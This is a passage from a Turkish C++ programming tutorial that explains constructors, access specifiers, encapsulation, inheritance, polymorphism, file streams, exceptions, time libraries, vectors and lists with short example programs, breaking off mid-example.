    std::string marka;
    int yil;

public:
    // Varsayılan Yapıcı
    Araba() {
        marka = "Bilinmiyor";
        yil = 0;
    }

    // Parametreli Yapıcı
    Araba(std::string m, int y) {
        marka = m;
        yil = y;
    }

    // Bilgi gösterme metodu
    void bilgiGoster() {
        std::cout << "Marka: " << marka << ", Yıl: " << yil << std::endl;
    }
};
```

**Yapıcıları Kullanma**

Yukarıdaki sınıfı kullanarak nesneler oluşturabiliriz:

```cpp
int main() {
    // Varsayılan yapıcı ile nesne oluşturma
    Araba araba1;
    araba1.bilgiGoster(); // Çıktı: Marka: Bilinmiyor, Yıl: 0

    // Parametreli yapıcı ile nesne oluşturma
    Araba araba2("Toyota", 2020);
    araba2.bilgiGoster(); // Çıktı: Marka: Toyota, Yıl: 2020

    return 0;
}
```

**Çoklu Yapıcılar (Overloading)**

C++'da bir sınıf birden fazla yapıcıya sahip olabilir. Bu, yapıcı aşırı yükleme (constructor overloading) olarak adlandırılır. Aşağıda, bir sınıfın birden fazla yapıcıya sahip olduğu bir örnek verilmiştir:

```cpp
class Kisi {
private:
    std::string isim;
    int yas;

public:
    // Varsayılan yapıcı
    Kisi() {
        isim = "Bilinmiyor";
        yas = 0;
    }

    // Parametreli yapıcı
    Kisi(std::string i, int y) {
        isim = i;
        yas = y;
    }

    // Bilgi gösterme metodu
    void bilgiGoster() {
        std::cout << "İsim: " << isim << ", Yaş: " << yas << std::endl;
    }
};
```

Yukarıdaki sınıfı kullanarak nesneler oluşturabiliriz:

```cpp
int main() {
    Kisi kisi1; // Varsayılan yapıcı
    kisi1.bilgiGoster(); // Çıktı: İsim: Bilinmiyor, Yaş: 0

    Kisi kisi2("Ali", 26); // Parametreli yapıcı
    kisi2.bilgiGoster(); // Çıktı: İsim: Ali, Yaş: 26

    return 0;
}
```

**Sonuç**

C++'da yapıcılar, nesnelerin başlangıç değerlerini ayarlamak ve nesne oluşturma sürecini yönetmek için kritik bir rol oynar. Yapıcılar, hem varsayılan hem de parametreli şekilde tanımlanabilir ve birden fazla yapıcı ile aşırı yüklenebilir.


# 3.5 Erişim Belirleyicileri (Access Specifiers)

C++ dilinde, sınıf üyelerinin (değişkenler ve metotlar) erişim seviyelerini kontrol etmek için erişim belirleyicileri kullanılır. Bu belirleyiciler, nesne yönelimli programlamada kapsülleme (encapsulation) ilkesinin önemli bir parçasıdır. C++'da üç ana erişim belirleyicisi vardır: **public**, **private** ve **protected**.

**1. Public**

* **Tanım**: Public erişim belirleyicisi ile tanımlanan sınıf üyeleri, tüm programdan erişilebilir.
* **Kullanım**: Genellikle, bir sınıfın dışarıdan erişilmesi gereken metotları ve değişkenleri için kullanılır.

**Örnek:**

```cpp
class Araba {
public:
    std::string marka;
    
    void bilgiGoster() {
        std::cout << "Marka: " << marka << std::endl;
    }
};
```

**2. Private**

* **Tanım**: Private erişim belirleyicisi ile tanımlanan sınıf üyeleri, yalnızca sınıfın içinden erişilebilir. Dışarıdan erişim yasaktır.
* **Kullanım**: Genellikle, bir sınıfın iç durumunu korumak için kullanılır. Dışarıdan değiştirilmelerini istemediğiniz değişkenler için tercih edilir.

**Örnek:**

```cpp
class Araba {
private:
    std::string marka;
    
public:
    // Yapıcı
    Araba(std::string m) {
        marka = m;
    }
    
    void bilgiGoster() {
        std::cout << "Marka: " << marka << std::endl;
    }
};
```

**3. Protected**

* **Tanım**: Protected erişim belirleyicisi ile tanımlanan sınıf üyeleri, yalnızca sınıfın kendisi ve bu sınıftan türetilmiş alt sınıflar tarafından erişilebilir.
* **Kullanım**: Genellikle, alt sınıflara erişim sağlamak için kullanılır. Bu, miras alma (inheritance) özelliğini destekler.

**Örnek:**

```cpp
class Araba {
protected:
    std::string marka;

public:
    Araba(std::string m) {
        marka = m;
    }
};

class SporAraba : public Araba {
public:
    SporAraba(std::string m) : Araba(m) {}
    
    void bilgiGoster() {
        std::cout << "Spor Araba Marka: " << marka << std::endl; // Protected üyeye erişim
    }
};
```

**Erişim Belirleyicilerinin Kullanımına Örnek**

```cpp
int main() {
    Araba araba("Toyota");
    araba.bilgiGoster(); // Marka: Toyota
    // araba.marka; // Hata: 'marka' private erişim belirleyicisine sahip

    SporAraba sporAraba("Ferrari");
    sporAraba.bilgiGoster(); // Spor Araba Marka: Ferrari

    return 0;
}
```

#### Sonuç

C++'da erişim belirleyicileri, sınıf üyelerinin erişim seviyelerini kontrol etmek için kullanılır ve nesne yönelimli programlamanın önemli bir parçasını oluşturur. Public, private ve protected erişim belirleyicileri ile, bir sınıfın iç yapısını koruyarak, kodun daha güvenli ve yönetilebilir olmasını sağlar.


# 3.6 Kapsülleme (Encapsulation)

####

Kapsülleme, nesne yönelimli programlamanın temel prensiplerinden biridir. C++ dilinde, kapsülleme, bir sınıfın verilerini (değişkenlerini) ve bu verilere erişimi kontrol eden metotlarını bir arada gruplandırma yöntemidir. Kapsülleme, veri gizliliğini artırarak, nesne yönelimli programlamada güçlü ve güvenli bir yapı sağlar.

**Kapsüllemenin Temel Unsurları**

1. **Veri Gizliliği**: Kapsülleme sayesinde, bir nesnenin iç durumu (veri) dışarıdan doğrudan erişime kapatılır. Sınıf üyeleri genellikle private veya protected olarak tanımlanır. Böylece, verilerin yanlışlıkla değiştirilmesi veya erişilmesi engellenir.
2. **Erişim Metotları**: Sınıfın dışından veri erişimini sağlamak için public olarak tanımlanan metotlar kullanılır. Bu metotlar, verilere erişimi ve verilerin değiştirilmesini kontrol eder. Genellikle getter ve setter metotları olarak bilinir.
3. **Kapsülleme Örneği**: Aşağıdaki örnek, C++'da kapsülleme kullanımını göstermektedir.

**Örnek**

```cpp
#include <iostream>
#include <string>

class Hesap {
private:
    double bakiye; // Private veri üyeleri

public:
    // Yapıcı
    Hesap(double b) : bakiye(b) {}

    // Getter metodu
    double getBakiye() {
        return bakiye;
    }

    // Setter metodu
    void paraYatir(double miktar) {
        if (miktar > 0) {
            bakiye += miktar; // Bakiye artırma
            std::cout << "Para yatırıldı: " << miktar << std::endl;
        } else {
            std::cout << "Negatif miktar yatırılmaz!" << std::endl;
        }
    }

    void paraCek(double miktar) {
        if (miktar > 0 && miktar <= bakiye) {
            bakiye -= miktar; // Bakiye azaltma
            std::cout << "Para çekildi: " << miktar << std::endl;
        } else {
            std::cout << "Yetersiz bakiye!" << std::endl;
        }
    }
};

int main() {
    Hesap hesap(1000.0); // Yeni bir hesap oluşturma
    std::cout << "Mevcut Bakiye: " << hesap.getBakiye() << std::endl; // Bakiye kontrolü

    hesap.paraYatir(500); // Para yatırma
    std::cout << "Yeni Bakiye: " << hesap.getBakiye() << std::endl;

    hesap.paraCek(300); // Para çekme
    std::cout << "Yeni Bakiye: " << hesap.getBakiye() << std::endl;

    hesap.paraCek(1500); // Yetersiz bakiye durumu
    return 0;
}
```

**Çıktı**

```yaml
Mevcut Bakiye: 1000
Para yatırıldı: 500
Yeni Bakiye: 1500
Para çekildi: 300
Yeni Bakiye: 1200
Yetersiz bakiye!
```

#### Sonuç

Kapsülleme, C++ dilinde veri gizliliğini ve yönetimini sağlamak için önemli bir araçtır. Sınıf üyelerini private veya protected olarak tanımlayarak, dışarıdan erişimi sınırlamak ve erişim metotları (getter ve setter) aracılığıyla kontrol etmek, programların daha güvenli ve yönetilebilir olmasına katkı sağlar.


# 3.7 Inheritance

Kalıtım, nesne yönelimli programlamanın temel özelliklerinden biridir ve bir sınıfın (alt sınıf) başka bir sınıftan (üst sınıf) özellikleri ve davranışları miras almasını sağlar. Bu sayede, kod tekrarı azaltılır ve yazılım geliştirme süreci daha verimli hale gelir.

**1. Basit Kalıtım (Single Inheritance)**

Bir sınıfın yalnızca bir üst sınıftan özellikleri miras almasıdır.

**Örnek**

```cpp
#include <iostream>
using namespace std;

class Hayvan {
public:
    void sesCikar() {
        cout << "Hayvan ses çıkarıyor!" << endl;
    }
};

class Kedi : public Hayvan {
public:
    void miyavla() {
        cout << "Kedi miyavlıyor!" << endl;
    }
};

int main() {
    Kedi kedi;
    kedi.sesCikar(); // Üst sınıftan miras alınan metot
    kedi.miyavla(); // Alt sınıfa ait metot
    return 0;
}
```

**2. Çoklu Kalıtım (Multiple Inheritance)**

Bir sınıfın birden fazla üst sınıftan miras almasıdır. C++ bu özelliği destekler.

**Örnek**

```cpp
#include <iostream>
using namespace std;

class Uyanik {
public:
    void uyan() {
        cout << "Uyanık!" << endl;
    }
};

class Temiz {
public:
    void temizle() {
        cout << "Temiz!" << endl;
    }
};

class Ogrenci : public Uyanik, public Temiz {
public:
    void dersCalis() {
        cout << "Ders çalışıyor!" << endl;
    }
};

int main() {
    Ogrenci ogrenci;
    ogrenci.uyan(); // Uyanık sınıfından miras alınan metot
    ogrenci.temizle(); // Temiz sınıfından miras alınan metot
    ogrenci.dersCalis(); // Ogrenci sınıfına ait metot
    return 0;
}
```

**3. Çok Aşamalı Kalıtım (Multilevel Inheritance)**

Bir sınıfın, başka bir sınıftan miras alarak yeni bir alt sınıf oluşturmasıdır.

**Örnek**

```cpp
#include <iostream>
using namespace std;

class Hayvan {
public:
    void sesCikar() {
        cout << "Hayvan ses çıkarıyor!" << endl;
    }
};

class Kedi : public Hayvan {
public:
    void miyavla() {
        cout << "Kedi miyavlıyor!" << endl;
    }
};

class SarmanKedi : public Kedi {
public:
    void sarmanMiyavla() {
        cout << "Sarman kedi özel bir miyav çıkarıyor!" << endl;
    }
};

int main() {
    SarmanKedi sarmanKedi;
    sarmanKedi.sesCikar(); // Üst sınıftan miras alınan metot
    sarmanKedi.miyavla(); // Kedi sınıfından miras alınan metot
    sarmanKedi.sarmanMiyavla(); // SarmanKedi sınıfına ait metot
    return 0;
}
```

#### Kalıtım Erişimi (Inheritance Access)

Kalıtımda, erişim belirleyicileri (public, protected, private) kullanılarak alt sınıfların üst sınıflara erişim şekli belirlenir:

* **Public Kalıtım**: Üst sınıftaki public ve protected üyeler alt sınıfta aynı erişimle görünür. (Örnek: `class Kedi : public Hayvan`)
* **Protected Kalıtım**: Üst sınıftaki public ve protected üyeler alt sınıfta protected olarak görünür. (Örnek: `class Kedi : protected Hayvan`)
* **Private Kalıtım**: Üst sınıftaki public ve protected üyeler alt sınıfta private olarak görünür. (Örnek: `class Kedi : private Hayvan`)

**Örnek**

```cpp
#include <iostream>
using namespace std;

class Hayvan {
public:
    void sesCikar() {
        cout << "Hayvan ses çıkarıyor!" << endl;
    }
protected:
    void koru() {
        cout << "Koru!" << endl;
    }
private:
    void gizli() {
        cout << "Bu bir gizli metot!" << endl;
    }
};

class Kedi : public Hayvan {
public:
    void sesCikarKedi() {
        sesCikar(); // Public erişim
        koru(); // Protected erişim
        // gizli(); // Hata! Private erişim
    }
};

int main() {
    Kedi kedi;
    kedi.sesCikarKedi(); // Hayvan sınıfından miras alınan metotlar
    return 0;
}
```

#### Sonuç

Kalıtım, C++ dilinde nesne yönelimli programlamanın önemli bir parçasıdır. Kodun yeniden kullanımını artırır, yazılım geliştirme sürecini hızlandırır ve daha iyi bir organizasyon sağlar. Kalıtım erişimi sayesinde, alt sınıfların üst sınıfların üyelerine erişimi kontrol edilebilir. C++'da kalıtımın etkili bir şekilde kullanılması, yazılım projelerinin yönetimini ve bakımını kolaylaştırır.


# 3.8 Polimorfizm (Polymorphism)

Polimorfizm, nesne yönelimli programlamanın temel özelliklerinden biridir ve bir nesnenin farklı formlarda davranabilmesi anlamına gelir. C++ dilinde polimorfizm, genellikle iki ana türde bulunur: **statik (compile-time) polimorfizm** ve **dinamik (run-time) polimorfizm**.

**1. Statik Polimorfizm**

Statik polimorfizm, derleme zamanında belirlenir. Genellikle **fonksiyon aşırı yükleme** (function overloading) ve **operator aşırı yükleme** (operator overloading) ile gerçekleştirilir. Bu türde, aynı isimde birden fazla fonksiyon tanımlanabilir, ancak parametre sayısı veya türleri farklı olmalıdır.

**Örnek: Fonksiyon Aşırı Yükleme**

```cpp
#include <iostream>
using namespace std;

class Matematik {
public:
    int topla(int a, int b) {
        return a + b;
    }

    double topla(double a, double b) {
        return a + b;
    }
};

int main() {
    Matematik matematik;
    cout << "Tamsayı toplama: " << matematik.topla(5, 10) << endl; // 15
    cout << "Ondalık toplama: " << matematik.topla(5.5, 2.3) << endl; // 7.8
    return 0;
}
```

**2. Dinamik Polimorfizm**

Dinamik polimorfizm, çalışma zamanında belirlenir. Genellikle **virtual** anahtar kelimesi kullanılarak gerçekleştirilir. Bir üst sınıfta tanımlanan bir metot, alt sınıfta geçersiz kılındığında (override) dinamik polimorfizm sağlanır. Bu sayede, bir işaretçi veya referans ile üst sınıf türünden bir nesne kullanıldığında, alt sınıfın geçersiz kılınmış metodu çağrılır.

**Örnek: Dinamik Polimorfizm**

```cpp
#include <iostream>
using namespace std;

class Hayvan {
public:
    virtual void sesCikar() { // Virtual anahtar kelimesi ile tanımlanır
        cout << "Hayvan ses çıkarıyor!" << endl;
    }
};

class Kedi : public Hayvan {
public:
    void sesCikar() override { // Geçersiz kılma
        cout << "Kedi miyavlıyor!" << endl;
    }
};

class Kopek : public Hayvan {
public:
    void sesCikar() override { // Geçersiz kılma
        cout << "Köpek havlıyor!" << endl;
    }
};

void hayvanSesiniCikar(Hayvan* hayvan) {
    hayvan->sesCikar(); // Dinamik olarak çağırılır
}

int main() {
    Kedi kedi;
    Kopek kopek;

    hayvanSesiniCikar(&kedi); // Kedi'nin sesi
    hayvanSesiniCikar(&kopek); // Köpek'in sesi
    return 0;
}
```

#### Polimorfizmin Avantajları

1. **Kodun Yeniden Kullanımı**: Polimorfizm, benzer kodları tekrar kullanarak kodun daha modüler ve bakımı kolay olmasını sağlar.
2. **Esneklik**: Dinamik polimorfizm, çalışma zamanında farklı nesne türlerini işleme yeteneği sunarak kodun esnekliğini artırır.
3. **Bakım Kolaylığı**: Geçersiz kılma (override) ile üst sınıfın metotları altında yeni davranışlar tanımlamak, yazılım bakımını kolaylaştırır.

#### Sonuç

Polimorfizm, C++ dilinde nesne yönelimli programlamanın güçlü özelliklerinden biridir. Statik ve dinamik polimorfizm, yazılımcılara daha esnek ve bakımı kolay kod yazma imkanı sunar.


# 3.9 Dosyalar (Files)

C++, dosyalarla etkileşim kurmak için geniş bir kütüphane sunar. Dosyalar, verilerin kalıcı olarak saklanmasını ve programlar arasında veri paylaşımını sağlar. C++'da dosya işlemleri genellikle `fstream` kütüphanesi aracılığıyla gerçekleştirilir. Bu kütüphane, dosyaları açma, okuma, yazma ve kapama gibi işlemleri yapmamıza olanak tanır.

**Dosya Türleri**

C++'da üç ana dosya türü vardır:

1. **Giriş Dosyası (Input File)**: Dosyadan veri okumak için kullanılır. `ifstream` sınıfı ile temsil edilir.
2. **Çıkış Dosyası (Output File)**: Dosyaya veri yazmak için kullanılır. `ofstream` sınıfı ile temsil edilir.
3. **Giriş/Çıkış Dosyası (Input/Output File)**: Hem okuma hem de yazma işlemleri için kullanılır. `fstream` sınıfı ile temsil edilir.

**Temel Dosya İşlemleri**

Aşağıda, C++ kullanarak dosya okuma ve yazma işlemleri için temel bir örnek bulunmaktadır.

**Dosyaya Yazma Örneği**

```cpp
#include <iostream>
#include <fstream>
using namespace std;

int main() {
    // Çıkış dosyası oluşturma
    ofstream dosya("ornek.txt");

    if (dosya.is_open()) {
        dosya << "Merhaba, bu bir dosya yazma örneğidir." << endl;
        dosya << "C++ dilinde dosya işlemleri yapıyoruz." << endl;
        dosya.close(); // Dosyayı kapatma
        cout << "Veri dosyaya başarıyla yazıldı." << endl;
    } else {
        cout << "Dosya açılamadı." << endl;
    }

    return 0;
}
```

**Dosyadan Okuma Örneği**

```cpp
#include <iostream>
#include <fstream>
#include <string>
using namespace std;

int main() {
    // Giriş dosyası açma
    ifstream dosya("ornek.txt");
    string satir;

    if (dosya.is_open()) {
        while (getline(dosya, satir)) {
            cout << satir << endl; // Satır satır okuma
        }
        dosya.close(); // Dosyayı kapatma
    } else {
        cout << "Dosya açılamadı." << endl;
    }

    return 0;
}
```

**Dosya İşlemleri**

* **Dosya Açma**: `open()` fonksiyonu kullanılarak dosya açılabilir.
* **Veri Yazma**: `<<` operatörü ile dosyaya veri yazılır.
* **Veri Okuma**: `>>` operatörü veya `getline()` fonksiyonu ile dosyadan veri okunur.
* **Dosya Kapama**: `close()` fonksiyonu ile dosya kapatılır. Dosyanın kapatılması, verilerin dosyaya yazılması için önemlidir.

#### Dosya Hataları ile Baş Etme

C++'da dosya işlemleri yaparken, dosyanın açılmaması veya okuma/yazma hataları gibi durumlarla karşılaşabilirsiniz. Bu nedenle, dosya açma işlemlerinde `is_open()` metodu ile dosyanın başarılı bir şekilde açılıp açılmadığını kontrol etmek önemlidir.

#### Sonuç

C++ dilinde dosyalar, verilerin saklanması ve paylaşılması için önemli bir araçtır. `fstream`, `ifstream` ve `ofstream`sınıfları, dosya işlemlerini kolaylaştırarak yazılımcılara esneklik sağlar.


# 3.10 İstisnalar (Exceptions)

C++ programlama dilinde, istisnalar (exceptions), bir program çalışırken beklenmeyen durumlarla başa çıkmanın bir yolunu sunar. İstisnalar, programın akışını kontrol etmeyi ve hataların yönetimini sağlamayı mümkün kılar. Bu, programların daha güvenilir ve hatalardan daha az etkilenir hale gelmesine yardımcı olur.

**İstisna Nedir?**

İstisna, bir hata durumunu temsil eden bir nesnedir. Bir programda beklenmedik bir durum meydana geldiğinde, bir istisna "fırlatılır" (thrown) ve bu durumun nasıl ele alınacağı belirlenebilir. C++ dilinde istisnalar genellikle `try`, `catch`ve `throw` anahtar kelimeleri ile yönetilir.

**Temel İstisna Yönetimi**

1. **`try` Bloğu**: İçinde bir hata olabileceğini düşündüğünüz kodu sarmalar. Eğer hata meydana gelirse, kontrol `catch`bloğuna geçer.
2. **`catch` Bloğu**: `try` bloğundaki kodda bir istisna fırlatıldığında, bu bloğun çalıştırılacağı yerdir. Burada istisnanın türüne göre uygun işlem yapılır.
3. **`throw` Anahtar Kelimesi**: Hata durumunda bir istisna fırlatmak için kullanılır.

**Örnek Kullanım**

Aşağıda, C++'da istisna yönetiminin nasıl kullanılacağını gösteren basit bir örnek bulunmaktadır.

```cpp
#include <iostream>
#include <stdexcept> // std::runtime_error için
using namespace std;

double bolme(double a, double b) {
    if (b == 0) {
        throw runtime_error("Bölme hatası: Bir sayı sıfıra bölünemez."); // İstisna fırlatma
    }
    return a / b;
}

int main() {
    double sayi1, sayi2;

    cout << "Bir sayı girin: ";
    cin >> sayi1;
    cout << "Bölmek için bir sayı girin: ";
    cin >> sayi2;

    try {
        double sonuc = bolme(sayi1, sayi2); // try bloğunda işlem
        cout << "Sonuç: " << sonuc << endl;
    } catch (const runtime_error& e) { // catch bloğunda hata yönetimi
        cout << "Hata: " << e.what() << endl; // Hata mesajını yazdır
    }

    return 0;
}
```

**Önemli Noktalar**

* **İstisna Türleri**: C++'da birçok yerleşik istisna türü vardır (örneğin, `std::runtime_error`, `std::out_of_range`, vb.). Kendi istisna türlerinizi de tanımlayabilirsiniz.
* **Hata Yönetimi**: `try`-`catch` yapısı, hata meydana geldiğinde programın çökmesini önler ve hataların yönetilmesini sağlar.
* **Performans**: İstisnaların kullanımı, kodun daha karmaşık hale gelmesine neden olabilir, bu nedenle dikkatli kullanılmalıdır.

#### Sonuç

C++ dilinde istisnalar, programcıların hataları yönetmesine ve daha sağlam kod yazmasına olanak tanır. İstisna yönetimi, yazılım geliştirme sürecinde önemli bir yer tutar ve programların daha güvenilir hale gelmesine yardımcı olur.


# 3.11 Tarih ve Zaman (Date and Time)

C++ dilinde tarih ve zaman ile çalışmak, programların zaman duyarlı verileri işlemesine olanak tanır. C++'da tarih ve saat ile çalışmak için genellikle `<chrono>`, `<ctime>` gibi kütüphaneler kullanılır. Bu kütüphaneler, zaman aralıklarını hesaplama, tarihleri ve saatleri yönetme gibi çeşitli işlevler sunar.

**C++’da Zamanı Kullanma**

C++'da tarih ve zaman ile çalışmak için en yaygın kullanılan kütüphaneler şunlardır:

* **`<ctime>` Kütüphanesi**: C tarzı zaman işlevlerini içerir.
* **`<chrono>` Kütüphanesi**: Modern C++ için zaman yönetimi sağlar.

**Temel Zaman Fonksiyonları**

**1. `<ctime>` Kütüphanesi ile Zaman Yönetimi:**

`<ctime>` kütüphanesi, tarih ve saatle ilgili işlevler ve tipler sağlar. Bu kütüphaneyi kullanarak zamanın alınması ve formatlanması gibi işlemleri gerçekleştirebilirsiniz.

```cpp
#include <iostream>
#include <ctime>

int main() {
    // Zamanı almak
    time_t simdikiZaman = time(0); // Geçerli zamanı al
    char* zamanString = ctime(&simdikiZaman); // Zamanı formatla

    std::cout << "Geçerli Zaman: " << zamanString << std::endl; // Zamanı yazdır

    return 0;
}
```

**2. `<chrono>` Kütüphanesi ile Zaman Yönetimi:**

`<chrono>` kütüphanesi, daha fazla esneklik ve modern bir API sağlar. Zaman aralıklarını ve süreleri kolayca yönetmenizi sağlar.

```cpp
#include <iostream>
#include <chrono>
#include <thread> // thread için

int main() {
    // Geçerli zamanı al
    auto baslangic = std::chrono::high_resolution_clock::now(); // Başlangıç zamanını al

    // Bir süre bekle
    std::this_thread::sleep_for(std::chrono::seconds(2)); // 2 saniye bekle

    // Bitiş zamanını al
    auto bitis = std::chrono::high_resolution_clock::now(); // Bitiş zamanını al

    // Süreyi hesapla
    std::chrono::duration<double> sure = bitis - baslangic;
    std::cout << "Geçen süre: " << sure.count() << " saniye" << std::endl; // Süreyi yazdır

    return 0;
}
```

**Önemli Fonksiyonlar ve Kavramlar**

* **`time_t`**: Zamanı temsil eden bir veri türüdür. 1 Ocak 1970'ten (Unix Epoch) geçen saniye sayısını tutar.
* **`struct tm`**: Yerel zaman bilgisini tutan bir yapı tipidir. Yıl, ay, gün, saat, dakika ve saniye bilgilerini içerir.
* **`std::chrono::duration`**: İki zaman noktası arasındaki süreyi temsil eder.
* **`std::chrono::high_resolution_clock`**: Yüksek çözünürlüklü zaman ölçümünü sağlar.

**Sonuç**

C++’da tarih ve zaman ile çalışmak, programların zamanla ilişkili işlemleri gerçekleştirmesine olanak tanır. Gelişmiş zaman yönetimi için `<chrono>` kütüphanesi önerilir. Tarih ve zaman işlevlerini etkili bir şekilde kullanmak, uygulamalarınızın daha fonksiyonel ve kullanıcı dostu olmasına yardımcı olur.


# 4.0 Veri Yapıları (Data Structures)

Veri yapıları, verilerin organizasyonu, yönetimi ve depolanması için kullanılan yöntemlerdir. Programlama dillerinin temel taşlarından biri olan veri yapıları, verilerin etkili bir şekilde işlenmesini sağlar ve yazılım geliştirme sürecinde önemli bir rol oynar. Herhangi bir yazılım projesinde, verilerin nasıl depolanacağı ve işleneceği üzerine karar vermek, performansı doğrudan etkileyebilir.

Veri yapılarının seçimi, uygulamanın gereksinimlerine ve veri üzerinde gerçekleştirilecek işlemlere bağlıdır. Doğru veri yapısı kullanıldığında, programın verimliliği artar ve karmaşıklığı azalır. Ayrıca, veri yapıları, algoritmaların etkin bir şekilde uygulanmasına da olanak tanır.

**Veri Yapılarının Temel Türleri**

1. **Diziler (Arrays)**: Belirli bir veri tipinde sabit boyutlu bir veri kümesini tutan yapılar. Diziler, belirli bir indekse sahip elemanlar içerir ve bu elemanlara hızlı bir şekilde erişim sağlar.
2. **Bağlı Listeler (Linked Lists)**: Elemanların birbirine referanslarla bağlandığı dinamik veri yapılarıdır. Dizilere göre daha esnektir, çünkü boyutları dinamik olarak değiştirilebilir.
3. **Yığınlar (Stacks)**: Son Giren İlk Çıkar (LIFO - Last In First Out) prensibine göre çalışan veri yapılarıdır. Yığınlar, verileri ekleme ve çıkarma işlemlerini üstten gerçekleştirir.
4. **Kuyruklar (Queues)**: İlk Giren İlk Çıkar (FIFO - First In First Out) prensibine göre çalışan veri yapılarıdır. Kuyruklar, verileri ekleme işlemini bir uçtan yaparken, çıkarma işlemini diğer uçtan gerçekleştirir.
5. **Ağaçlar (Trees)**: Hiyerarşik bir yapıya sahip veri yapılarıdır. Ağaçlar, verileri düğümler halinde düzenler ve her düğümün alt düğümleri olabilir.
6. **Grafik (Graphs)**: Düğümler ve kenarlar aracılığıyla verileri temsil eden veri yapılarıdır. Grafikler, karmaşık ilişkileri modellemek için kullanılır.

**Neden Veri Yapıları Önemlidir?**

* **Verimlilik**: Doğru veri yapısı kullanarak, veri işlemleri daha hızlı ve daha az bellek tüketimi ile gerçekleştirilebilir.
* **Algoritma Geliştirme**: Veri yapıları, algoritmaların verimli bir şekilde uygulanmasına yardımcı olur. Örneğin, arama ve sıralama algoritmaları, belirli veri yapılarıyla birlikte daha etkin bir şekilde çalışır.
* **Problem Çözme**: Karmaşık sorunları çözmek için uygun veri yapıları seçmek, problemin çözümünü kolaylaştırır.

**Sonuç**

Veri yapıları, yazılım geliştirmede önemli bir rol oynar. Doğru veri yapısını seçmek, programların performansını artırabilir ve geliştirme sürecini daha verimli hale getirebilir. Veri yapılarının temel türlerini ve özelliklerini anlamak, programcıların ve mühendislerin etkili çözümler geliştirmelerine olanak tanır.


# 4.1 Veri Yapıları ve STL


# 4.2 Vektörler (Vectors)

C++ dilinde vektörler, STL (Standard Template Library) içinde bulunan ve dinamik dizileri temsil eden veri yapılarıdır. Vektörler, sabit boyutlu dizilere kıyasla daha esnek bir yapı sunar, çünkü boyutları gerektiğinde otomatik olarak değiştirilebilir. Bu özellik, geliştiricilere veri yönetimi konusunda büyük bir kolaylık sağlar.

#### Vektörlerin Temel Özellikleri

1. **Dinamik Boyut**: Vektörler, başlangıçta belirli bir boyutta oluşturulabilir, ancak eleman ekledikçe otomatik olarak boyutlarını artırabilirler. Bu, sabit boyutlu dizilerde yaşanan bellek sorunlarını ortadan kaldırır.
2. **Rasgele Erişim**: Vektörler, diziler gibi elemanlara rasgele erişim sağlar. Bu, belirli bir indekste bulunan elemana doğrudan ulaşmayı mümkün kılar.
3. **Veri Tipi**: Vektörler, farklı veri türlerini tutabilir. Kullanıcı, oluştururken hangi veri tipini kullanacağını belirleyebilir.

#### Vektörlerin Kullanımı

C++'ta vektörler, `#include <vector>` ifadesi ile kullanılmaya başlanır. Aşağıda vektörlerin temel kullanımını gösteren örnekler bulunmaktadır.

**Vektör Oluşturma ve Eleman Ekleme**

```cpp
#include <iostream>
#include <vector>

int main() {
    // Vektör oluşturma
    std::vector<int> sayilar;

    // Eleman ekleme
    sayilar.push_back(5);
    sayilar.push_back(10);
    sayilar.push_back(15);

    // Elemanları yazdırma
    for (int i = 0; i < sayilar.size(); i++) {
        std::cout << "Eleman " << i << ": " << sayilar[i] << std::endl;
    }

    return 0;
}
```

**Vektör Boyutunu Öğrenme ve Eleman Silme**

```cpp
#include <iostream>
#include <vector>

int main() {
    // Vektör oluşturma
    std::vector<int> sayilar = {1, 2, 3, 4, 5};

    // Vektör boyutunu yazdırma
    std::cout << "Vektör boyutu: " << sayilar.size() << std::endl;

    // Son elemanı silme
    sayilar.pop_back();

    std::cout << "Silindikten sonra vektör boyutu: " << sayilar.size() << std::endl;

    return 0;
}
```

**Vektör Sıralama**

Vektörlerdeki elemanları sıralamak için `std::sort` fonksiyonu kullanılabilir.

```cpp
#include <iostream>
#include <vector>
#include <algorithm>

int main() {
    // Vektör oluşturma
    std::vector<int> sayilar = {4, 2, 5, 1, 3};

    // Sıralama
    std::sort(sayilar.begin(), sayilar.end());

    // Sıralı elemanları yazdırma
    std::cout << "Sıralı Vektör: ";
    for (int sayi : sayilar) {
        std::cout << sayi << " ";
    }

    return 0;
}
```

#### Sonuç

C++ vektörleri, dinamik boyutlandırma ve rasgele erişim imkanı gibi özellikleri sayesinde, verileri yönetmek için oldukça etkili bir araçtır. Vektörler, yazılım geliştirme sürecini kolaylaştırırken, esneklik ve performans sağlar. Bu nedenle, C++ ile programlama yaparken vektörleri sıkça kullanmak, yazılım geliştiriciler için önemli bir avantajdır.


# 4.3 Listeler (Lists)

C++ dilinde listeler, STL (Standard Template Library) içinde bulunan ve veri elemanlarını sıralı bir şekilde saklayan dinamik veri yapılarıdır. Listeler, dizi veya vektörlere benzer bir yapı sunar, ancak eleman ekleme ve silme işlemlerinde daha fazla esneklik sağlar. Liste veri yapısı, her bir elemanın bir sonrakine işaret ettiği düğümlerden oluşur. Bu yapı, belirli bir elemanın yerini değiştirmeden veya diğer elemanları etkilemeden kolayca eklenmesini ve çıkarılmasını sağlar.

#### Listelerin Temel Özellikleri

1. **Dinamik Boyut**: Listeler, eleman eklendikçe veya silindikçe boyutlarını otomatik olarak ayarlayabilir.
2. **İki Yönlü Bağlı Liste**: C++ listeleri, her bir düğümün bir sonraki ve bir önceki düğümü işaret etmesine olanak tanır, bu da onları iki yönlü bağlı liste olarak tanımlar. Bu özellik, liste üzerinde geri yönde de gezinmeyi mümkün kılar.
3. **Rasgele Erişim Yok**: Listelerde dizilere veya vektörlere göre rasgele erişim yoktur. Elemanlara erişmek için sıralı olarak geçmek gerekir.

#### Listelerin Kullanımı

C++'ta listeler, `#include <list>` ifadesi ile kullanılmaya başlanır. Aşağıda listelerin temel kullanımını gösteren örnekler bulunmaktadır.

**Liste Oluşturma ve Eleman Ekleme**

```cpp
#include <iostream>
#include <list>

int main() {
    // Liste oluşturma
    std::list<int> sayilar;

    // Eleman ekleme
    sayilar.push_back(10);  // Listenin sonuna ekleme
    sayilar.push_back(20);
    sayilar.push_front(5);  // Listenin başına ekleme

    // Elemanları yazdırma
    std::cout << "Liste Elemanları: ";
    for (int sayi : sayilar) {
        std::cout << sayi << " ";
    }

    return 0;
}
```

**Eleman Silme**

Listelerde eleman silmek için `pop_back()` veya `pop_front()` gibi yöntemler kullanabilirsiniz.

```cpp
#include <iostream>
#include <list>

int main() {
    // Liste oluşturma
    std::list<int> sayilar = {1, 2, 3, 4, 5};

    // Son elemanı silme
    sayilar.pop_back();

    // İlk elemanı silme
    sayilar.pop_front();

    // Kalan elemanları yazdırma
    std::cout << "Silindikten sonra Liste Elemanları: ";
